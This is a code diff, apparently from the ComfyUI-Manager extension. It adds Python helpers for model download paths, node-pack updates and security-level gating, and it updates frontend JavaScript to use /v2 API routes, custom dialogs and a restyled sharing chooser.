+            f"Invalid db_mode {mode!r}; must be one of {ALLOWED_DB_MODES}"
+        )
+    core.get_config()["db_mode"] = mode
+
+
+def setup_environment():
+    git_exe = core.get_config()["git_exe"]
+
+    if git_exe != "":
+        setup_git_environment(git_exe)
+
+
+def initialize_environment():
+    context.comfy_path = os.path.dirname(folder_paths.__file__)
+    core.js_path = os.path.join(context.comfy_path, "web", "extensions")
+
+    # Legacy database paths - kept for potential future use
+    # local_db_model = os.path.join(manager_util.comfyui_manager_path, "model-list.json")
+    # local_db_alter = os.path.join(manager_util.comfyui_manager_path, "alter-list.json")
+    # local_db_custom_node_list = os.path.join(
+    #     manager_util.comfyui_manager_path, "custom-node-list.json"
+    # )
+    # local_db_extension_node_mappings = os.path.join(
+    #     manager_util.comfyui_manager_path, "extension-node-map.json"
+    # )
+
+    print_comfyui_version()
+    setup_environment()
+
+    core.check_invalid_nodes()

comfyui_manager/glob/utils/formatting_utils.py

@@ -0,0 +1,60 @@
+import locale
+import sys
+import re
+
+
+def handle_stream(stream, prefix):
+    stream.reconfigure(encoding=locale.getpreferredencoding(), errors="replace")
+    for msg in stream:
+        if (
+            prefix == "[!]"
+            and ("it/s]" in msg or "s/it]" in msg)
+            and ("%|" in msg or "it [" in msg)
+        ):
+            if msg.startswith("100%"):
+                print("\r" + msg, end="", file=sys.stderr),
+            else:
+                print("\r" + msg[:-1], end="", file=sys.stderr),
+        else:
+            if prefix == "[!]":
+                print(prefix, msg, end="", file=sys.stderr)
+            else:
+                print(prefix, msg, end="")
+
+
+def convert_markdown_to_html(input_text):
+    pattern_a = re.compile(r"\[a/([^]]+)]\(([^)]+)\)")
+    pattern_w = re.compile(r"\[w/([^]]+)]")
+    pattern_i = re.compile(r"\[i/([^]]+)]")
+    pattern_bold = re.compile(r"\*\*([^*]+)\*\*")
+    pattern_white = re.compile(r"%%([^*]+)%%")
+
+    def replace_a(match):
+        return f"<a href='{match.group(2)}' target='blank'>{match.group(1)}</a>"
+
+    def replace_w(match):
+        return f"<p class='cm-warn-note'>{match.group(1)}</p>"
+
+    def replace_i(match):
+        return f"<p class='cm-info-note'>{match.group(1)}</p>"
+
+    def replace_bold(match):
+        return f"<B>{match.group(1)}</B>"
+
+    def replace_white(match):
+        return f"<font color='white'>{match.group(1)}</font>"
+
+    input_text = (
+        input_text.replace("\\[", "&#91;")
+        .replace("\\]", "&#93;")
+        .replace("<", "&lt;")
+        .replace(">", "&gt;")
+    )
+
+    result_text = re.sub(pattern_a, replace_a, input_text)
+    result_text = re.sub(pattern_w, replace_w, result_text)
+    result_text = re.sub(pattern_i, replace_i, result_text)
+    result_text = re.sub(pattern_bold, replace_bold, result_text)
+    result_text = re.sub(pattern_white, replace_white, result_text)
+
+    return result_text.replace("\n", "<BR>")

comfyui_manager/glob/utils/model_utils.py

@@ -0,0 +1,161 @@
+import os
+import logging
+import concurrent.futures
+import folder_paths
+
+from comfyui_manager.glob import manager_core as core
+from comfyui_manager.glob.constants import model_dir_name_map, MODEL_DIR_NAMES
+
+
+def get_model_dir(data, show_log=False):
+    if "download_model_base" in folder_paths.folder_names_and_paths:
+        models_base = folder_paths.folder_names_and_paths["download_model_base"][0][0]
+    else:
+        models_base = folder_paths.models_dir
+
+    # NOTE: Validate to prevent path traversal.
+    if any(char in data["filename"] for char in {"/", "\\", ":"}):
+        return None
+
+    def resolve_custom_node(save_path):
+        save_path = save_path[13:]  # remove 'custom_nodes/'
+
+        # NOTE: Validate to prevent path traversal.
+        if save_path.startswith(os.path.sep) or ":" in save_path:
+            return None
+
+        repo_name = save_path.replace("\\", "/").split("/")[
+            0
+        ]  # get custom node repo name
+
+        # NOTE: The creation of files within the custom node path should be removed in the future.
+        repo_path = core.lookup_installed_custom_nodes_legacy(repo_name)
+        if repo_path is not None and repo_path[0]:
+            # Returns the retargeted path based on the actually installed repository
+            return os.path.join(os.path.dirname(repo_path[1]), save_path)
+        else:
+            return None
+
+    if data["save_path"] != "default":
+        if ".." in data["save_path"] or data["save_path"].startswith("/"):
+            if show_log:
+                logging.info(
+                    f"[WARN] '{data['save_path']}' is not allowed path. So it will be saved into 'models/etc'."
+                )
+            base_model = os.path.join(models_base, "etc")
+        else:
+            if data["save_path"].startswith("custom_nodes"):
+                base_model = resolve_custom_node(data["save_path"])
+                if base_model is None:
+                    if show_log:
+                        logging.info(
+                            f"[ComfyUI-Manager] The target custom node for model download is not installed: {data['save_path']}"
+                        )
+                    return None
+            else:
+                base_model = os.path.join(models_base, data["save_path"])
+    else:
+        model_dir_name = model_dir_name_map.get(data["type"].lower())
+        if model_dir_name is not None:
+            base_model = folder_paths.folder_names_and_paths[model_dir_name][0][0]
+        else:
+            base_model = os.path.join(models_base, "etc")
+
+    return base_model
+
+
+def get_model_path(data, show_log=False):
+    base_model = get_model_dir(data, show_log)
+    if base_model is None:
+        return None
+    else:
+        if data["filename"] == "<huggingface>":
+            return os.path.join(base_model, os.path.basename(data["url"]))
+        else:
+            return os.path.join(base_model, data["filename"])
+
+
+def check_model_installed(json_obj):
+    def is_exists(model_dir_name, filename, url):
+        if filename == "<huggingface>":
+            filename = os.path.basename(url)
+
+        dirs = folder_paths.get_folder_paths(model_dir_name)
+
+        for x in dirs:
+            if os.path.exists(os.path.join(x, filename)):
+                return True
+
+        return False
+
+    total_models_files = set()
+    for x in MODEL_DIR_NAMES:
+        for y in folder_paths.get_filename_list(x):
+            total_models_files.add(y)
+
+    def process_model_phase(item):
+        if (
+            "diffusion" not in item["filename"]
+            and "pytorch" not in item["filename"]
+            and "model" not in item["filename"]
+        ):
+            # non-general name case
+            if item["filename"] in total_models_files:
+                item["installed"] = "True"
+                return
+
+        if item["save_path"] == "default":
+            model_dir_name = model_dir_name_map.get(item["type"].lower())
+            if model_dir_name is not None:
+                item["installed"] = str(
+                    is_exists(model_dir_name, item["filename"], item["url"])
+                )
+            else:
+                item["installed"] = "False"
+        else:
+            model_dir_name = item["save_path"].split("/")[0]
+            if model_dir_name in folder_paths.folder_names_and_paths:
+                if is_exists(model_dir_name, item["filename"], item["url"]):
+                    item["installed"] = "True"
+
+            if "installed" not in item:
+                if item["filename"] == "<huggingface>":
+                    filename = os.path.basename(item["url"])
+                else:
+                    filename = item["filename"]
+
+                fullpath = os.path.join(
+                    folder_paths.models_dir, item["save_path"], filename
+                )
+
+                item["installed"] = "True" if os.path.exists(fullpath) else "False"
+
+    with concurrent.futures.ThreadPoolExecutor(8) as executor:
+        for item in json_obj["models"]:
+            executor.submit(process_model_phase, item)
+
+
+async def check_whitelist_for_model(item):
+    from comfyui_manager.data_models import ManagerDatabaseSource
+    
+    json_obj = await core.get_data_by_mode(ManagerDatabaseSource.cache.value, "model-list.json")
+
+    for x in json_obj.get("models", []):
+        if (
+            x["save_path"] == item["save_path"]
+            and x["base"] == item["base"]
+            and x["filename"] == item["filename"]
+        ):
+            return True
+
+    json_obj = await core.get_data_by_mode(ManagerDatabaseSource.local.value, "model-list.json")
+
+    for x in json_obj.get("models", []):
+        if (
+            x["save_path"] == item["save_path"]
+            and x["base"] == item["base"]
+            and x["filename"] == item["filename"]
+        ):
+            return True
+
+    return False

comfyui_manager/glob/utils/node_pack_utils.py

@@ -0,0 +1,65 @@
+import concurrent.futures
+
+from comfyui_manager.glob import manager_core as core
+
+
+def check_state_of_git_node_pack(
+    node_packs, do_fetch=False, do_update_check=True, do_update=False
+):
+    if do_fetch:
+        print("Start fetching...", end="")
+    elif do_update:
+        print("Start updating...", end="")
+    elif do_update_check:
+        print("Start update check...", end="")
+
+    def process_custom_node(item):
+        core.check_state_of_git_node_pack_single(
+            item, do_fetch, do_update_check, do_update
+        )
+
+    with concurrent.futures.ThreadPoolExecutor(4) as executor:
+        for k, v in node_packs.items():
+            if v.get("active_version") in ["unknown", "nightly"]:
+                executor.submit(process_custom_node, v)
+
+    if do_fetch:
+        print("\x1b[2K\rFetching done.")
+    elif do_update:
+        update_exists = any(
+            item.get("updatable", False) for item in node_packs.values()
+        )
+        if update_exists:
+            print("\x1b[2K\rUpdate done.")
+        else:
+            print("\x1b[2K\rAll extensions are already up-to-date.")
+    elif do_update_check:
+        print("\x1b[2K\rUpdate check done.")
+
+
+def nickname_filter(json_obj):
+    preemptions_map = {}
+
+    for k, x in json_obj.items():
+        if "preemptions" in x[1]:
+            for y in x[1]["preemptions"]:
+                preemptions_map[y] = k
+        elif k.endswith("/ComfyUI"):
+            for y in x[0]:
+                preemptions_map[y] = k
+
+    updates = {}
+    for k, x in json_obj.items():
+        removes = set()
+        for y in x[0]:
+            k2 = preemptions_map.get(y)
+            if k2 is not None and k != k2:
+                removes.add(y)
+
+        if len(removes) > 0:
+            updates[k] = [y for y in x[0] if y not in removes]
+
+    for k, v in updates.items():
+        json_obj[k][0] = v
+
+    return json_obj

comfyui_manager/glob/utils/security_utils.py

@@ -0,0 +1,75 @@
+from comfyui_manager.glob import manager_core as core
+from comfy.cli_args import args
+from comfyui_manager.data_models import SecurityLevel, RiskLevel, ManagerDatabaseSource
+from comfyui_manager.common.manager_security import (
+    is_loopback,
+    is_safe_path_target,
+    get_safe_file_path,
+    reject_simple_form_post,
+)
+
+# Re-export for backward compatibility
+__all__ = [
+    'is_loopback',
+    'is_safe_path_target',
+    'get_safe_file_path',
+    'reject_simple_form_post',
+    'is_allowed_security_level',
+    'get_risky_level',
+]
+
+
+def is_allowed_security_level(level):
+    is_local_mode = is_loopback(args.listen)
+    is_personal_cloud = core.get_config()['network_mode'].lower() == 'personal_cloud'
+
+    if level == RiskLevel.block.value:
+        return False
+    elif level == RiskLevel.high_.value:
+        if is_local_mode:
+            return core.get_config()['security_level'] in [SecurityLevel.weak.value, SecurityLevel.normal_.value]
+        elif is_personal_cloud:
+            return core.get_config()['security_level'] == SecurityLevel.weak.value
+        else:
+            return False
+    elif level == RiskLevel.high.value:
+        if is_local_mode:
+            return core.get_config()['security_level'] in [SecurityLevel.weak.value, SecurityLevel.normal_.value]
+        else:
+            return core.get_config()['security_level'] == SecurityLevel.weak.value
+    elif level == RiskLevel.middle_.value:
+        if is_local_mode or is_personal_cloud:
+            return core.get_config()['security_level'] in [SecurityLevel.weak.value, SecurityLevel.normal.value, SecurityLevel.normal_.value]
+        else:
+            return False
+    elif level == RiskLevel.middle.value:
+        return core.get_config()['security_level'] in [SecurityLevel.weak.value, SecurityLevel.normal.value, SecurityLevel.normal_.value]
+    else:
+        return True
+
+
+async def get_risky_level(files, pip_packages):
+    json_data1 = await core.get_data_by_mode(ManagerDatabaseSource.local.value, "custom-node-list.json")
+    json_data2 = await core.get_data_by_mode(
+        ManagerDatabaseSource.cache.value,
+        "custom-node-list.json",
+        channel_url="https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main",
+    )
+
+    all_urls = set()
+    for x in json_data1["custom_nodes"] + json_data2["custom_nodes"]:
+        all_urls.update(x.get("files", []))
+
+    for x in files:
+        if x not in all_urls:
+            return RiskLevel.high_.value
+
+    all_pip_packages = set()
+    for x in json_data1["custom_nodes"] + json_data2["custom_nodes"]:
+        all_pip_packages.update(x.get("pip", []))
+
+    for p in pip_packages:
+        if p not in all_pip_packages:
+            return RiskLevel.block.value
+
+    return RiskLevel.middle_.value

comfyui_manager/js/README.md

@@ -0,0 +1,50 @@
+# ComfyUI-Manager: Frontend (js)
+
+This directory contains the JavaScript frontend implementation for ComfyUI-Manager, providing the user interface components that interact with the backend API.
+
+## Core Components
+
+- **comfyui-manager.js**: Main entry point that initializes the manager UI and integrates with ComfyUI.
+- **custom-nodes-manager.js**: Implements the UI for browsing, installing, and managing custom nodes.
+- **model-manager.js**: Handles the model management interface for downloading and organizing AI models.
+- **components-manager.js**: Manages reusable workflow components system.
+- **snapshot.js**: Implements the snapshot system for backing up and restoring installations.
+
+## Sharing Components
+
+- **comfyui-share-common.js**: Base functionality for workflow sharing features.
+- **comfyui-share-copus.js**: Integration with the ComfyUI Copus sharing platform.
+- **comfyui-share-openart.js**: Integration with the OpenArt sharing platform.
+- **comfyui-share-youml.js**: Integration with the YouML sharing platform.
+
+## Utility Components
+
+- **cm-api.js**: Client-side API wrapper for communication with the backend.
+- **common.js**: Shared utilities and helper functions used across the frontend.
+- **node_fixer.js**: Utilities for fixing disconnected links and repairing malformed nodes by recreating them while preserving connections.
+- **popover-helper.js**: UI component for popup tooltips and contextual information.
+- **turbogrid.esm.js**: Grid component library - https://github.com/cenfun/turbogrid
+- **workflow-metadata.js**: Handles workflow metadata parsing, validation and cross-repository compatibility including versioning, dependencies tracking, and resource management.
+
+## Architecture
+
+The frontend follows a modular component-based architecture:
+
+1. **Integration Layer**: Connects with ComfyUI's existing UI system
+2. **Manager Components**: Individual functional UI components (node manager, model manager, etc.)
+3. **Sharing Components**: Platform-specific sharing implementations
+4. **Utility Layer**: Reusable UI components and helpers
+
+## Implementation Details
+
+- The frontend integrates directly with ComfyUI's UI system through `app.js`
+- Dialog-based UI for most manager functions to avoid cluttering the main interface
+- Asynchronous API calls to handle backend operations without blocking the UI
+
+## Styling
+
+CSS files are included for specific components:
+- **custom-nodes-manager.css**: Styling for the node management UI
+- **model-manager.css**: Styling for the model management UI
+
+This frontend implementation provides a comprehensive yet user-friendly interface for managing the ComfyUI ecosystem.

comfyui_manager/js/cm-api.js

@@ -1,6 +1,6 @@
 import { api } from "../../scripts/api.js";
 import { app } from "../../scripts/app.js";
-import { sleep } from "./common.js";
+import { sleep, customConfirm, customAlert } from "./common.js";
 
 async function tryInstallCustomNode(event) {
 	let msg = '-= [ComfyUI Manager] extension installation request =-\n\n';
@@ -19,14 +19,13 @@ async function tryInstallCustomNode(event) {
 	msg += `\n\nRequest message:\n${event.detail.msg}`;
 
 	if(event.detail.target.installed == 'True') {
-		alert(msg);
+		customAlert(msg);
 		return;
 	}
-
-	let res = confirm(msg);
+	const res = await customConfirm(msg);
 	if(res) {
 		if(event.detail.target.installed == 'Disabled') {
-			const response = await api.fetchApi(`/customnode/toggle_active`, {
+			const response = await api.fetchApi(`/v2/customnode/toggle_active`, {
 										method: 'POST',
 										headers: { 'Content-Type': 'application/json' },
 										body: JSON.stringify(event.detail.target)
@@ -36,7 +35,7 @@ async function tryInstallCustomNode(event) {
 			await sleep(300);
 			app.ui.dialog.show(`Installing... '${event.detail.target.title}'`);
 
-			const response = await api.fetchApi(`/customnode/install`, {
+			const response = await api.fetchApi(`/v2/customnode/install`, {
 										method: 'POST',
 										headers: { 'Content-Type': 'application/json' },
 										body: JSON.stringify(event.detail.target)
@@ -46,9 +45,14 @@ async function tryInstallCustomNode(event) {
 				show_message('This action is not allowed with this security level configuration.');
 				return false;
 			}
+			else if(response.status == 400) {
+				let msg = await res.text();
+				show_message(msg);
+				return false;
+			}
 		}
 
-		let response = await api.fetchApi("/manager/reboot");
+		let response = await api.fetchApi("/v2/manager/reboot", { method: 'POST' });
 		if(response.status == 403) {
 			show_message('This action is not allowed with this security level configuration.');
 			return false;

comfyui_manager/js/comfyui-gui-builder.js

@@ -0,0 +1,227 @@
+import { $el } from "../../scripts/ui.js";
+
+function normalizeContent(content) {
+	const tmp = document.createElement('div');
+	if (typeof content === 'string') {
+		tmp.innerHTML = content;
+		return Array.from(tmp.childNodes);
+	}
+	if (content instanceof Node) {
+		return content;
+	}
+	return content;
+}
+
+export function createSettingsCombo(label, content) {
+	const settingItem = $el("div.setting-item", {}, [
+		$el("div.flex.flex-row.items-center.gap-2",[
+				$el("div.form-label.flex.grow.items-center", [
+					$el("span.text-muted", { textContent: label },)
+				]),
+				$el("div.form-input.flex.justify-end",
+					[content]
+				)
+			]
+		)
+	]);
+	return settingItem;
+}
+
+export function buildGuiFrame(dialogId, title, iconClass, content, owner) {
+	const dialog_mask = $el("div.p-dialog-mask.p-overlay-mask.p-overlay-mask-enter", {
+		parent: document.body,
+		style: {
+			position: "fixed",
+			height: "100%",
+			width: "100%",
+			left: "0px",
+			top: "0px",
+			display: "flex",
+			justifyContent: "center",
+			alignItems: "center",
+			pointerEvents: "auto",
+			zIndex: "1000"
+		},
+		onclick: (e) => {
+			if (e.target === dialog_mask) {
+				owner.close();
+			}
+		}
+		// data-pc-section="mask"
+	});
+
+	const header_actions = $el("div.p-dialog-header-actions", {
+			// [TODO]
+			// data-pc-section="headeractions"
+		}
+	);
+
+	const close_button = $el("button.p-button.p-component.p-button-icon-only.p-button-secondary.p-button-rounded.p-button-text.p-dialog-close-button", {
+			parent: header_actions,
+			type: "button",
+			ariaLabel: "Close",
+			onclick: () => owner.close(),
+			// "data-pc-name": "pcclosebutton",
+			// "data-p-disabled": "false",
+			// "data-p-severity": "secondary",
+			// "data-pc-group-section": "headericon",
+			// "data-pc-extend": "button",
+			// "data-pc-section": "root",
+			// [FIXME] Not sure how to do most of the SVG using $el
+			innerHTML: '<svg width="14" height="14" viewBox="0 0 14 14" fill="none" xmlns="http://www.w3.org/2000/svg" class="p-icon p-button-icon" aria-hidden="true"><path d="M8.01186 7.00933L12.27 2.75116C12.341 2.68501 12.398 2.60524 12.4375 2.51661C12.4769 2.42798 12.4982 2.3323 12.4999 2.23529C12.5016 2.13827 12.4838 2.0419 12.4474 1.95194C12.4111 1.86197 12.357 1.78024 12.2884 1.71163C12.2198 1.64302 12.138 1.58893 12.0481 1.55259C11.9581 1.51625 11.8617 1.4984 11.7647 1.50011C11.6677 1.50182 11.572 1.52306 11.4834 1.56255C11.3948 1.60204 11.315 1.65898 11.2488 1.72997L6.99067 5.98814L2.7325 1.72997C2.59553 1.60234 2.41437 1.53286 2.22718 1.53616C2.03999 1.53946 1.8614 1.61529 1.72901 1.74767C1.59663 1.88006 1.5208 2.05865 1.5175 2.24584C1.5142 2.43303 1.58368 2.61419 1.71131 2.75116L5.96948 7.00933L1.71131 11.2675C1.576 11.403 1.5 11.5866 1.5 11.7781C1.5 11.9696 1.576 12.1532 1.71131 12.2887C1.84679 12.424 2.03043 12.5 2.2219 12.5C2.41338 12.5 2.59702 12.424 2.7325 12.2887L6.99067 8.03052L11.2488 12.2887C11.3843 12.424 11.568 12.5 11.7594 12.5C11.9509 12.5 12.1346 12.424 12.27 12.2887C12.4053 12.1532 12.4813 11.9696 12.4813 11.7781C12.4813 11.5866 12.4053 11.403 12.27 11.2675L8.01186 7.00933Z" fill="currentColor"></path></svg><span class="p-button-label" data-pc-section="label">&nbsp;</span><!---->'
+		}
+	);
+
+	const dialog_header = $el("div.p-dialog-header", 
+		[
+			$el("div", [
+				$el("div",
+					{
+						id: "frame-title-container",
+					},
+					[
+						$el("h2.px-4", [
+							$el(iconClass, {
+								style: {
+									"font-size": "1.25rem",
+									"margin-right": ".5rem"
+								}
+							}),
+							$el("span", { textContent: title })
+						])
+					]
+					)
+				]),
+			header_actions
+		]
+	);
+
+	const contentFrame = $el("div.p-dialog-content", {}, normalizeContent(content));
+	const manager_dialog = $el("div.p-dialog.p-component.global-dialog", {
+			id: dialogId,
+			parent: dialog_mask,
+			style: {
+				'display': 'flex',
+				'flex-direction': 'column',
+				'pointer-events': 'auto',
+				'margin': '0px',
+			},
+			role: 'dialog',
+			ariaModal: 'true',
+			// [TODO]
+			// ariaLabbelledby: 'cm-title',
+			// maximized: 'false',
+			// data-pc-name: 'dialog',
+			// data-pc-section: 'root',
+			// data-pd-focustrap: 'true'
+		},
+		[ dialog_header, contentFrame ]
+	);
+
+	const hidden_accessible = $el("span.p-hidden-accessible.p-hidden-focusable", {
+		parent: manager_dialog,
+		tabindex: "0",
+		role: "presentation",
+		ariaHidden: "true",
+		"data-p-hidden-accessible": "true",
+		"data-p-hidden-focusable": "true",
+		"data-pc-section": "firstfocusableelement"
+	});
+
+	return dialog_mask;
+}
+
+export function buildGuiFrameCustomHeader(dialogId, customHeader, content, owner) {
+	const dialog_mask = $el("div.p-dialog-mask.p-overlay-mask.p-overlay-mask-enter", {
+		parent: document.body,
+		style: {
+			position: "fixed",
+			height: "100%",
+			width: "100%",
+			left: "0px",
+			top: "0px",
+			display: "flex",
+			justifyContent: "center",
+			alignItems: "center",
+			pointerEvents: "auto",
+			zIndex: "1000"
+		},
+		onclick: (e) => {
+			if (e.target === dialog_mask) {
+				owner.close();
+			}
+		}
+		// data-pc-section="mask"
+	});
+
+	const header_actions = $el("div.p-dialog-header-actions", {
+			// [TODO]
+			// data-pc-section="headeractions"
+		}
+	);
+
+	const close_button = $el("button.p-button.p-component.p-button-icon-only.p-button-secondary.p-button-rounded.p-button-text.p-dialog-close-button", {
+			parent: header_actions,
+			type: "button",
+			ariaLabel: "Close",
+			onclick: () => owner.close(),
+			// "data-pc-name": "pcclosebutton",
+			// "data-p-disabled": "false",
+			// "data-p-severity": "secondary",
+			// "data-pc-group-section": "headericon",
+			// "data-pc-extend": "button",
+			// "data-pc-section": "root",
+			// [FIXME] Not sure how to do most of the SVG using $el
+			innerHTML: '<svg width="14" height="14" viewBox="0 0 14 14" fill="none" xmlns="http://www.w3.org/2000/svg" class="p-icon p-button-icon" aria-hidden="true"><path d="M8.01186 7.00933L12.27 2.75116C12.341 2.68501 12.398 2.60524 12.4375 2.51661C12.4769 2.42798 12.4982 2.3323 12.4999 2.23529C12.5016 2.13827 12.4838 2.0419 12.4474 1.95194C12.4111 1.86197 12.357 1.78024 12.2884 1.71163C12.2198 1.64302 12.138 1.58893 12.0481 1.55259C11.9581 1.51625 11.8617 1.4984 11.7647 1.50011C11.6677 1.50182 11.572 1.52306 11.4834 1.56255C11.3948 1.60204 11.315 1.65898 11.2488 1.72997L6.99067 5.98814L2.7325 1.72997C2.59553 1.60234 2.41437 1.53286 2.22718 1.53616C2.03999 1.53946 1.8614 1.61529 1.72901 1.74767C1.59663 1.88006 1.5208 2.05865 1.5175 2.24584C1.5142 2.43303 1.58368 2.61419 1.71131 2.75116L5.96948 7.00933L1.71131 11.2675C1.576 11.403 1.5 11.5866 1.5 11.7781C1.5 11.9696 1.576 12.1532 1.71131 12.2887C1.84679 12.424 2.03043 12.5 2.2219 12.5C2.41338 12.5 2.59702 12.424 2.7325 12.2887L6.99067 8.03052L11.2488 12.2887C11.3843 12.424 11.568 12.5 11.7594 12.5C11.9509 12.5 12.1346 12.424 12.27 12.2887C12.4053 12.1532 12.4813 11.9696 12.4813 11.7781C12.4813 11.5866 12.4053 11.403 12.27 11.2675L8.01186 7.00933Z" fill="currentColor"></path></svg><span class="p-button-label" data-pc-section="label">&nbsp;</span><!---->'
+		}
+	);
+
+	const _customHeader = normalizeContent(customHeader);
+	const dialog_header = $el("div.p-dialog-header",
+		[
+			$el("div", [
+				$el("div",
+					{
+						id: "frame-title-container",
+					},
+					Array.isArray(_customHeader) ? _customHeader : [_customHeader]
+					)
+				]),
+			header_actions
+		]
+	);
+
+	const contentFrame = $el("div.p-dialog-content", {}, normalizeContent(content));
+	const manager_dialog = $el("div.p-dialog.p-component.global-dialog", {
+			id: dialogId,
+			parent: dialog_mask,
+			style: {
+				'display': 'flex',
+				'flex-direction': 'column',
+				'pointer-events': 'auto',
+				'margin': '0px',
+			},
+			role: 'dialog',
+			ariaModal: 'true',
+			// [TODO]
+			// ariaLabbelledby: 'cm-title',
+			// maximized: 'false',
+			// data-pc-name: 'dialog',
+			// data-pc-section: 'root',
+			// data-pd-focustrap: 'true'
+		},
+		[ dialog_header, contentFrame ]
+	);
+
+	const hidden_accessible = $el("span.p-hidden-accessible.p-hidden-focusable", {
+		parent: manager_dialog,
+		tabindex: "0",
+		role: "presentation",
+		ariaHidden: "true",
+		"data-p-hidden-accessible": "true",
+		"data-p-hidden-focusable": "true",
+		"data-pc-section": "firstfocusableelement"
+	});
+
+	return dialog_mask;
+}

comfyui_manager/js/comfyui-share-common.js

@@ -4,6 +4,7 @@ import { $el, ComfyDialog } from "../../scripts/ui.js";
 import { CopusShareDialog } from "./comfyui-share-copus.js";
 import { OpenArtShareDialog } from "./comfyui-share-openart.js";
 import { YouMLShareDialog } from "./comfyui-share-youml.js";
+import { customAlert } from "./common.js";
 
 export const SUPPORTED_OUTPUT_NODE_TYPES = [
 	"PreviewImage",
@@ -171,7 +172,7 @@ export const shareToEsheep= () => {
 		const nodes = app.graph._nodes
 		const { potential_outputs, potential_output_nodes } = getPotentialOutputsAndOutputNodes(nodes);
 		const workflow = prompt['workflow']
-		api.fetchApi(`/manager/set_esheep_workflow_and_images`, {
+		api.fetchApi(`/v2/manager/set_esheep_workflow_and_images`, {
 			method: 'POST',
 			headers: { 'Content-Type': 'application/json' },
 			body: JSON.stringify({
@@ -252,9 +253,9 @@ export const showShareDialog = async (share_option) => {
         if (potential_output_nodes.length === 0) {
           // todo: add support for other output node types (animatediff combine, etc.)
           const supported_nodes_string = SUPPORTED_OUTPUT_NODE_TYPES.join(", ");
-          alert(`No supported output node found (${supported_nodes_string}). To share this workflow, please add an output node to your graph and re-run your prompt.`);
+          customAlert(`No supported output node found (${supported_nodes_string}). To share this workflow, please add an output node to your graph and re-run your prompt.`);
         } else {
-          alert("To share this, first run a prompt. Once it's done, click 'Share'.\n\nNOTE: Images of the Share target can only be selected in the PreviewImage, SaveImage, and VHS_VideoCombine nodes. In the case of VHS_VideoCombine, only the image/gif and image/webp formats are supported.");
+          customAlert("To share this, first run a prompt. Once it's done, click 'Share'.\n\nNOTE: Images of the Share target can only be selected in the PreviewImage, SaveImage, and VHS_VideoCombine nodes. In the case of VHS_VideoCombine, only the image/gif and image/webp formats are supported.");
         }
         return false;
       }
@@ -336,7 +337,7 @@ export class ShareDialogChooser extends ComfyDialog {
 				key: "Copus",
 				textContent: "Copus",
 				website: "https://www.copus.io",
-				description: "🔴 Permanently store and secure ownership of your workflow on the open-source platform: <a style='color:var(--input-text);' href='https://copus.io' target='_blank'>Copus.io</a>",
+				description: "🔴 Earn simple. Get paid from your ComfyUI workflows—no revenue sharing. Ever.",
 				onclick: () => {
 					showCopusShareDialog();
 				  this.close();
@@ -356,7 +357,8 @@ export class ShareDialogChooser extends ComfyDialog {
 			});
 
 			buttons.forEach(b => {
-				const button = $el("button", {
+				const button = $el("button", 
+					{
 					type: "button",
 					textContent: b.textContent,
 					onclick: b.onclick,
@@ -369,8 +371,14 @@ export class ShareDialogChooser extends ComfyDialog {
 						'padding': '5px 5px',
 						'margin-bottom': '5px',
 						'transition': 'background-color 0.3s',
+						'position':'relative'
 					}
-				});
+				},
+				[
+					$el("span", { style: { 
+					 } }),
+				]
+			);
 				button.addEventListener('mouseover', () => {
 					button.style.backgroundColor = '#007BFF'; // Change color on hover
 				});
@@ -388,6 +396,28 @@ export class ShareDialogChooser extends ComfyDialog {
 					},
 				});
 
+				const copus_ui =$el("div", { style: { 
+					'position': 'absolute',
+					'height': '100%',
+					'left': '-25px',
+					'top': '-26px',
+					'width': '100%',
+					'z-index':'-1',
+					'background':'url("https://static.copus.io/images/client/202412/test/f28ac6ef8f4c6f3d5d50856a272ed02c.png")',
+					'background-repeat': 'no-repeat',
+				} });
+				const copus_ui_bottom =$el("div", { style: { 
+					'position': 'absolute',
+					'height': '100%',
+					'left': '25px',
+					'bottom': '-26px',
+					'width': '100%',
+					'transform':'scale(-1, -1)',
+					'z-index':'-1',
+					'background':'url("https://static.copus.io/images/client/202412/test/f28ac6ef8f4c6f3d5d50856a272ed02c.png")',
+					'background-repeat': 'no-repeat',
+				} });
+
 				const websiteLink = $el("a", {
 					textContent: "🌐 Website",
 					href: b.website,
@@ -417,7 +447,6 @@ export class ShareDialogChooser extends ComfyDialog {
 						'margin-bottom': '10px',
 					}
 				}, [button, websiteLink]);
-
 				const column = $el("div", {
 					style: {
 						'flex-basis': '100%',
@@ -426,8 +455,17 @@ export class ShareDialogChooser extends ComfyDialog {
 						'border': '1px solid #ddd',
 						'border-radius': '5px',
 						'box-shadow': '0 2px 4px rgba(0, 0, 0, 0.1)',
+						'position':'relative'
 					}
-				}, [buttonLinkContainer, description]);
+				}, [buttonLinkContainer, description
+					, 
+					b.key ==='Copus' ?
+					copus_ui
+					:'',
+					b.key ==='Copus' ?
+					copus_ui_bottom
+					:'',
+				]);
 
 				container.appendChild(column);
 			});
@@ -475,7 +513,7 @@ export class ShareDialogChooser extends ComfyDialog {
 	}
 	show() {
 		this.element.style.display = "block";
-		this.element.style.zIndex = 10001;
+		this.element.style.zIndex = 1099;
 	}
 }
 export class ShareDialog extends ComfyDialog {
@@ -514,6 +552,20 @@ export class ShareDialog extends ComfyDialog {
 		this.matrix_destination_checkbox.style.color = "var(--fg-color)";
 		this.matrix_destination_checkbox.checked = this.share_option === 'matrix'; //true;
 
+		try {
+			api.fetchApi(`/v2/manager/get_matrix_dep_status`)
+				.then(response => response.text())
+				.then(data => {
+					if(data == 'unavailable') {
+						matrix_destination_checkbox_text.style.textDecoration = "line-through";
+						this.matrix_destination_checkbox.disabled = true;
+						this.matrix_destination_checkbox.title = "It has been disabled because the 'matrix-nio' dependency is not installed. Please install this dependency to use the matrix sharing feature.";
+						matrix_destination_checkbox_text.title = "It has been disabled because the 'matrix-nio' dependency is not installed. Please install this dependency to use the matrix sharing feature.";
+					}
+				})
+				.catch(error => {});
+		} catch (error) {}
+
 		this.comfyworkflows_destination_checkbox = $el("input", { type: 'checkbox', id: "comfyworkflows_destination" }, [])
 		const comfyworkflows_destination_checkbox_text = $el("label", {}, [" ComfyWorkflows.com"])
 		this.comfyworkflows_destination_checkbox.style.color = "var(--fg-color)";
@@ -774,7 +826,7 @@ export class ShareDialog extends ComfyDialog {
 		// get the user's existing matrix auth and share key
 		ShareDialog.matrix_auth = { homeserver: "matrix.org", username: "", password: "" };
 		try {
-			api.fetchApi(`/manager/get_matrix_auth`)
+			api.fetchApi(`/v2/manager/get_matrix_auth`)
 				.then(response => response.json())
 				.then(data => {
 					ShareDialog.matrix_auth = data;
@@ -793,7 +845,7 @@ export class ShareDialog extends ComfyDialog {
 		ShareDialog.cw_sharekey = "";
